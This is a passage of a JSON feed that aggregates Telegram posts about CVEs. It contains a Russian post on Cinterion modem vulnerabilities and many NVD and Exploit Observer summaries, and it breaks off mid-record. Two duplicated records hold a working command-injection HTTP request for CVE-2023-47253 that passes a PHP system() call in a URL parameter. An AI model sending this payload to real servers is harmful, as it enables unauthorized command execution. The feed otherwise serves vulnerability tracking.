\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "6829b1e4-2f9f-4628-89fb-020836f6b3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "seen", "source": "https://t.me/sycebrex/54", "content": "\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f, \u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c\u043a\u0430\n\n\u0427\u0443\u044e, \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u043e \u0433\u0440\u043e\u043c\u044b\u0445\u043d\u0435\u043c \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e \u0441\u0443\u043f\u0435\u0440 \u043a\u0440\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439, \u043d\u043e \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u044c\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0441\u0442\u044c \u0412\u041e\u041e\u041e\u0411\u0429\u0415 \u0432\u0435\u0437\u0434\u0435 :)  \u0435\u0441\u043b\u0438 \u0447\u0435\u0441\u0442\u043d\u043e, \u044f \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043c\u043e\u0433\u0443 \u043e\u0441\u043e\u0437\u043d\u0430\u0442\u044c \u0432\u0441\u0435\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043e\u0432 \nCVE-2023-47610 \ud83d\ude18\n\n\u042f\u0449\u0438\u043a \u041f\u0430\u043d\u0434\u043e\u0440\u044b, \u0413\u0435\u0439\u043c \u0427\u0435\u0439\u043d\u0434\u0436\u0435\u0440, \u043e \u043c\u0430\u0439 \u0433\u0430\u0434 \u0445\u043e\u043b\u043b\u0438 \u0444\u0430\u043a\u0438\u043d \u0449\u0438\u0442 - \u044d\u0442\u043e \u0432\u0441\u0435 \u043f\u0440\u043e \u043d\u0430\u0431\u043e\u0440 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u0430\u0446\u0430\u043d\u044b \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443. \u041c\u043e\u0451 \u0433\u043b\u0443\u0431\u043e\u0447\u0430\u0439\u0448\u0435\u0435 \u043f\u043e\u0447\u0442\u0435\u043d\u0438\u0435", "creation_timestamp": "2024-02-01T17:17:00.000000Z"}, {"uuid": "68158a20-acec-42a2-baee-2cab8db1ccf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/18932", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-26T11:12:42.000000Z"}, {"uuid": "b9b51e91-23d8-4187-b2a6-42680e07442f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/2079", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-26T11:12:42.000000Z"}, {"uuid": "b7142311-37b1-4c91-ae2d-0aba9313e89c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4781", "type": "seen", "source": "https://t.me/cibsecurity/69894", "content": "\u203c CVE-2023-4781 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1873.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-05T22:17:04.000000Z"}, {"uuid": "ca05dcc7-5a41-4c5f-8893-ae8bd3e04689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47094", "type": "seen", "source": "https://t.me/cibsecurity/73298", "content": "\u203c CVE-2023-47094 \u203c\n\nAn issue was discovered in Virtualmin 7.7. A Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Account Plans tab of System Settings via the Plan Name field. Whenever the module is accessed, the XSS payload is executed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-12-31T22:31:50.000000Z"}, {"uuid": "58d96f41-99f3-4967-91c2-6eb7eaef0261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4750", "type": "seen", "source": "https://t.me/cibsecurity/69798", "content": "\u203c CVE-2023-4750 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1857.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:16.000000Z"}, {"uuid": "4bcbaa7e-72ff-41e4-8b51-7c08f0404a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47104", "type": "seen", "source": "https://t.me/cibsecurity/73167", "content": "\u203c CVE-2023-47104 \u203c\n\ntinyfiledialogs (aka tiny file dialogs) before 3.15.0 allows shell metacharacters (such as a backquote or a dollar sign) in titles, messages, and other input data. NOTE: this issue exists because of an incomplete fix for CVE-2020-36767, which only considered single and double quote characters.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-30T21:19:46.000000Z"}, {"uuid": "ec17d338-4094-4956-9012-8e1bc1c9b4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "Telegram/NwoXsEh4kcV0wnSAz7YUW4VVZW4vQOW91Umbe0FSzr6NFKp_", "content": "", "creation_timestamp": "2024-06-19T19:34:23.000000Z"}, {"uuid": "07c9b97d-cbcd-4fd0-8d3f-2d6f73056871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47868", "type": "seen", "source": "Telegram/okYOwuiDYsG4ROjeINBdt_HvSpfDYESsfc7HRbuafUCm9Asc", "content": "", "creation_timestamp": "2025-02-14T09:46:58.000000Z"}, {"uuid": "b592ba28-034f-4f41-8433-051db4b34fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47489", "type": "seen", "source": "Telegram/VrgyMlGVzklLMY6blP87zO_hcnRVnCFEu3EMlsdTgO8toD2Z", "content": "", "creation_timestamp": "2023-11-12T14:52:36.000000Z"}, {"uuid": "e798857b-f675-43f4-a123-e9c682fda944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/eH0V46KzWPpUAwyr8C85bUvTczEBeTLSM5TTlo4xnPDhGdc", "content": "", "creation_timestamp": "2024-06-01T09:55:00.000000Z"}, {"uuid": "1d16960a-9b74-4da3-80b6-0cfed7b70f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47471", "type": "seen", "source": "https://t.me/arpsyndicate/4549", "content": "#ExploitObserverAlert\n\nCVE-2023-47471\n\nDESCRIPTION: Exploit Observer has 9 entries in 3 file formats related to CVE-2023-47471. Buffer Overflow vulnerability in strukturag libde265 v1.10.12 allows a local attacker to cause a denial of service via the slice_segment_header function in the slice.cc component.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 3.6\nNVD-ES: 2.8\nARPS-EXPLOITABILITY: 0.5917607", "creation_timestamp": "2024-04-12T07:10:27.000000Z"}, {"uuid": "9ea7d20e-a68a-4cb1-ba7d-7f1d606f3cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47542", "type": "seen", "source": "https://t.me/arpsyndicate/4509", "content": "#ExploitObserverAlert\n\nCVE-2023-47542\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47542. A improper neutralization of special elements used in a template engine [CWE-1336] in FortiManager versions 7.4.1 and below, versions 7.2.4 and below, and 7.0.10 and below allows attacker to execute unauthorized code or commands via specially crafted templates.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T10:53:56.000000Z"}, {"uuid": "776c4976-2fee-4282-bf0a-084ff0f18547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47465", "type": "seen", "source": "https://t.me/arpsyndicate/4599", "content": "#ExploitObserverAlert\n\nCVE-2023-47465\n\nDESCRIPTION: Exploit Observer has 8 entries in 3 file formats related to CVE-2023-47465. An issue in GPAC v.2.2.1 and before allows a local attacker to cause a denial of service (DoS) via the ctts_box_read function of file src/isomedia/box_code_base.c.\n\nFIRST-EPSS: 0.000420000\nNVD-IS: 3.6\nNVD-ES: 1.8\nARPS-EXPLOITABILITY: 0.5935014", "creation_timestamp": "2024-04-12T11:08:22.000000Z"}, {"uuid": "096062a3-3b88-4f2e-a3ad-769038cd0209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47541", "type": "seen", "source": "https://t.me/arpsyndicate/4501", "content": "#ExploitObserverAlert\n\nCVE-2023-47541\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47541. An improper limitation of a pathname to a restricted directory ('path traversal') in Fortinet FortiSandbox version 4.4.0 through 4.4.2 and 4.2.0 through 4.2.6 and 4.0.0 through 4.0.5 and 3.2.0 through 3.2.4 and 3.1.0 through 3.1.5 and 3.0.0 through 3.0.7 and 2.5.0 through 2.5.2 and 2.4.0 through 2.4.1 and 2.3.0 through 2.3.3 and 2.2.0 through 2.2.2 and 2.1.0 through 2.1.3 and 2.0.0 through 2.0.3 allows attacker to execute unauthorized code or commands via CLI.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T10:12:02.000000Z"}, {"uuid": "1f025e41-c74a-4c88-9563-77a34f2a2042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://t.me/arpsyndicate/4191", "content": "#ExploitObserverAlert\n\nCVE-2023-47534\n\nDESCRIPTION: Exploit Observer has 3 entries in 1 file formats related to CVE-2023-47534. A improper neutralization of formula elements in a csv file in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, 7.0.0 through 7.0.10, 6.4.0 through 6.4.9, 6.2.0 through 6.2.9, 6.0.0 through 6.0.8 allows attacker to execute unauthorized code or commands via specially crafted packets.", "creation_timestamp": "2024-03-13T21:52:26.000000Z"}, {"uuid": "5d47e065-4556-4860-baf7-36079f48640d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47540", "type": "seen", "source": "https://t.me/arpsyndicate/4439", "content": "#ExploitObserverAlert\n\nCVE-2023-47540\n\nDESCRIPTION: Exploit Observer has 2 entries in 1 file formats related to CVE-2023-47540. An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSandbox version 4.4.0 through 4.4.2 and 4.2.0 through 4.2.6 and 4.0.0 through 4.0.5 and 3.2.0 through 3.2.4 and 3.0.5 through 3.0.7 may allows attacker to execute unauthorized code or commands via CLI.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-04-11T05:16:51.000000Z"}, {"uuid": "912186c2-9ec1-4311-81e6-ea51ecfaab37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47020", "type": "seen", "source": "https://t.me/arpsyndicate/3357", "content": "#ExploitObserverAlert\n\nCVE-2023-47020\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-47020. Multiple Cross-Site Request Forgery (CSRF) chaining in NCR Terminal Handler v.1.5.1 allows privileges to be escalated by an attacker through a crafted request involving user account creation and adding the user to an administrator group. This is exploited by an undisclosed function in the WSDL that lacks security controls and can accept custom content types.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-11T12:13:15.000000Z"}, {"uuid": "255f58c8-0089-438e-b46d-61003758a278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/arpsyndicate/3102", "content": "#ExploitObserverAlert\n\nCVE-2023-47211\n\nDESCRIPTION: Exploit Observer has 4 entries in 4 file formats related to CVE-2023-47211. A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.\n\nFIRST-EPSS: 0.001640000\nNVD-IS: 4.0\nNVD-ES: 3.9", "creation_timestamp": "2024-01-26T22:44:46.000000Z"}, {"uuid": "1089b999-96d7-4cab-bce1-2796c2c7a938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47350", "type": "seen", "source": "https://t.me/arpsyndicate/2992", 